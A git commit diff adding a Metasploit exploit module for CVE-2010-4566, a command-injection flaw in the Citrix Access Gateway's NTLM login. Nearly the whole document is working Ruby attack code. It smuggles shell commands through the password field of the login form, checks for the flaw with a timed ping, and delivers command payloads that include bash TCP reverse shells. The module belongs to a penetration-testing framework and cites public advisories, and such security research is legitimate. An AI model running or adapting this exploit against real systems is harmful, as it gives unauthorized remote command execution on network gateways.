add cve-2010-4566 exploit from Erwin Paternotte

git-svn-id: file:///home/svn/framework3/trunk@11873 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/unix/webapp/citrix_access_gateway_exec.rb

@@ -0,0 +1,117 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+
+require 'msf/core'
+
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Citrix Access Gateway Command Execution',
+			'Description'    => %q{
+					The Citrix Access Gateway provides support for multiple authentication types.
+				When utilizing the external legacy NTLM authentication module known as
+				ntlm_authenticator the Access Gateway spawns the Samba 'samedit' command
+				line utility to verify a user's identity and password.  By embedding shell
+				metacharacters in the web authentication form it is possible to execute
+				arbitrary commands on the Access Gateway.
+			},
+			'Author'         =>
+				[
+					'George D. Gal', # Original advisory
+					'Erwin Paternotte', # Exploit module
+				],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					[ 'CVE', '2010-4566' ],
+					[ 'OSVDB', '70099' ],
+					[ 'BID', '45402' ],
+					[ 'URL', 'http://www.vsecurity.com/resources/advisory/20101221-1/' ]
+				],
+			'Privileged'     => false,
+			'Payload'        =>
+				{
+					'Space'       => 127,
+					'DisableNops' => true,
+					'Compat'      =>
+						{
+							'PayloadType' => 'cmd cmd_bash',
+							'RequiredCmd' => 'generic telnet bash-tcp'
+						}
+				},
+			'DefaultOptions' =>
+				{
+					'WfsDelay' => 30
+				},
+			'Platform'       => [ 'unix' ],
+			'Arch'           => ARCH_CMD,
+			'Targets'        => [[ 'Automatic', { }]],
+			'DisclosureDate' => 'Dec 21 2010',
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[
+				Opt::RPORT(443),
+				OptBool.new('SSL', [ true, 'Use SSL', true ]),
+			], self.class)
+
+	end
+
+	def post(command, background)
+		username = rand_text_alphanumeric(20)
+
+		if background
+			sploit = Rex::Text.uri_encode('|' + command + '&')
+		else
+			sploit = Rex::Text.uri_encode('|' + command)
+		end
+
+		data = "SESSION_TOKEN=1208473755272-1381414381&LoginType=Explicit&username="
+		data << username
+		data << "&password="
+		data << sploit
+
+		res = send_request_cgi({
+			'uri'     => '/',
+			'method'  => 'POST',
+			'data'    => data
+		}, 25)
+	end
+
+	def check
+		print_status("Attempting to detect if the Citrix Access Gateway is vulnerable...")
+
+		# Try running/timing 'ping localhost' to determine is system is vulnerable
+		start = Time.now
+		post("ping -c 10 127.0.0.1", false)
+		elapsed = Time.now - start
+		if elapsed >= 3
+			return Exploit::CheckCode::Vulnerable
+		end
+
+		return Exploit::CheckCode::Safe
+	end
+
+	def exploit
+		cmd = payload.encoded
+
+		if not post(cmd, true)
+			raise RuntimeError, "Unable to execute the desired command"
+		end
+	end
+end